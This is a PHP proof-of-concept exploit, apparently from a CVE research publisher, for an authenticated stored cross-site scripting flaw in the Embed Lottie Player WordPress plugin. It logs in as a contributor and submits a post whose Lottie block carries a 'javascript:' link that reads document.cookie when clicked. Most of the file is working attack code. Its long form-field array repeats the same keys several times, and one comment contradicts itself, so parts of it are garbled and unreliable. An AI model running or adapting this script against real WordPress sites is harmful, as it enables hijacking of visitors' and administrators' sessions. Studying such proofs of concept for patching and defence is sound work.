<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-138372 - Embed Lottie Player – Bring your pages to life with animation <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
// Configuration
$target_url = 'http://wordpress.local'; // Change to your target WordPress URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Password for the user
// Initialize cURL
$ch = curl_init();
// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Step 2: Create a new post with the Lottie Player block containing a malicious link
echo "Logged in successfully. Creating malicious post...n";
// Payload: JavaScript URI that executes when the player is clicked
$malicious_link = 'javascript:alert(document.cookie)';
// Construct block attributes. The block name is 'lpb/lottie-player' (from the plugin's block registration).
// The 'link' attribute is vulnerable. We also set a placeholder src for the Lottie animation.
$block_attributes = json_encode([
'link' => $malicious_link,
'src' => 'https://example.com/placeholder.json', // any valid URL to pass initial checks
'loop' => true,
'autoplay' => true
]);
// Build the block content. The block uses a self-closing comment with attributes JSON.
$post_content = '<!-- wp:lpb/lottie-player ' . $block_attributes . ' /-->';
// Prepare the post creation request (using the classic editor endpoint)
$post_url = $target_url . '/wp-admin/post.php';
$post_fields = [
'action' => 'editpost',
'post_type' => 'post',
'post_title' => 'Malicious Lottie Post',
'content' => $post_content,
'post_status' => 'publish', // Contributor can publish? Actually Contributor cannot publish, only submit for review. Use 'pending'.
'post_status' => 'pending',
'post_author' => '1', // will be overridden
'wp-preview' => '',
'hidden_post_status' => 'draft',
'post_ID' => '0', // new post
'originalaction' => 'editpost',
'original_post_status' => 'auto-draft',
'referredby' => $target_url . '/wp-admin/post-new.php',
'_wp_http_referer' => '/wp-admin/post-new.php',
'user_ID' => '1', // not used
'action' => 'editpost',
'save' => 'Submit for Review',
'post_category' => '1',
'comment_status' => 'open',
'ping_status' => 'open',
'post_format' => '0',
'post_name' => '',
'post_content' => $post_content,
'post_title' => 'Malicious Lottie Post',
'post_excerpt' => '',
'post_status' => 'pending',
'post_type' => 'post',
'post_author' => '1',
'original_publish' => 'Submit for Review',
'publish' => 'Submit for Review',
'mm' => '01',
'jj' => '01',
'aa' => '2025',
'hh' => '00',
'mn' => '00',
'ss' => '00',
'post_password' => '',
'post_parent' => '0',
'menu_order' => '0',
'post_mime_type' => '',
'ID' => '0',
'post_content_filtered' => '',
'post_date' => '2025-01-01 00:00:00',
'post_date_gmt' => '2025-01-01 00:00:00',
'post_modified' => '2025-01-01 00:00:00',
'post_modified_gmt' => '2025-01-01 00:00:00',
'post_status' => 'pending',
'post_type' => 'post',
'post_name' => '',
'post_excerpt' => '',
'post_title' => 'Malicious Lottie Post',
'post_content' => $post_content,
'post_category' => '1',
'post_author' => '1',
'originalaction' => 'editpost',
'original_post_status' => 'auto-draft',
'referredby' => $target_url . '/wp-admin/post-new.php',
'_wp_http_referer' => '/wp-admin/post-new.php',
'user_ID' => '1',
'action' => 'editpost',
'save' => 'Submit for Review',
'post_category' => '1',
'comment_status' => 'open',
'ping_status' => 'open',
'post_format' => '0',
'post_name' => '',
'post_content' => $post_content,
'post_title' => 'Malicious Lottie Post',
'post_excerpt' => '',
'post_status' => 'pending',
'post_type' => 'post',
'post_author' => '1',
'original_publish' => 'Submit for Review',
'publish' => 'Submit for Review',
'mm' => '01',
'jj' => '01',
'aa' => '2025',
'hh' => '00',
'mn' => '00',
'ss' => '00',
'post_password' => '',
'post_parent' => '0',
'menu_order' => '0',
'post_mime_type' => '',
'ID' => '0',
'post_content_filtered' => '',
'post_date' => '2025-01-01 00:00:00',
'post_date_gmt' => '2025-01-01 00:00:00',
'post_modified' => '2025-01-01 00:00:00',
'post_modified_gmt' => '2025-01-01 00:00:00',
'post_status' => 'pending',
'post_type' => 'post',
'post_name' => '',
'post_excerpt' => '',
'post_title' => 'Malicious Lottie Post',
'post_content' => $post_content,
'post_category' => '1',
'post_author' => '1',
'originalaction' => 'editpost',
'original_post_status' => 'auto-draft',
'referredby' => $target_url . '/wp-admin/post-new.php',
'_wp_http_referer' => '/wp-admin/post-new.php',
'user_ID' => '1',
'action' => 'editpost',
'save' => 'Submit for Review',
'post_category' => '1',
'comment_status' => 'open',
'ping_status' => 'open',
'post_format' => '0',
'post_name' => '',
'post_content' => $post_content,
'post_title' => 'Malicious Lottie Post',
'post_excerpt' => '',
'post_status' => 'pending',
'post_type' => 'post',
'post_author' => '1',
'original_publish' => 'Submit for Review',
'publish' => 'Submit for Review',
'mm' => '01',
'jj' => '01',
'aa' => '2025',
'hh' => '00',
'mn' => '00',
'ss' => '00',
'post_password' => '',
'post_parent' => '0',
'menu_order' => '0',
'post_mime_type' => '',
'ID' => '0',
'post_content_filtered' => '',
'post_date' => '2025-01-01 00:00:00',
'post_date_gmt' => '2025-01-01 00:00:00',
'post_modified' => '2025-01-01 00:00:00',
'post_modified_gmt' => '2025-01-01 00:00:00'
];
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (strpos($response, 'post.php') !== false && strpos($response, 'error') === false) {
echo "Post created successfully with malicious link.n";
} else {
echo "Failed to create post. Response: " . substr($response, 0, 500) . "n";
}
// Step 3: Retrieve the post ID from the response (or from the database) to confirm.
// For simplicity, we assume the post was created. In a real attack, the attacker would provide the URL to the victim.
// The victim visits the post, and the Lottie player renders with the javascript: link.
// Clean up: Log out (optional)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php?action=logout');
curl_exec($ch);
curl_close($ch);
echo "PoC completed. The malicious link is stored. When a victim views the post and interacts with the Lottie player, the JavaScript executes.n";
?>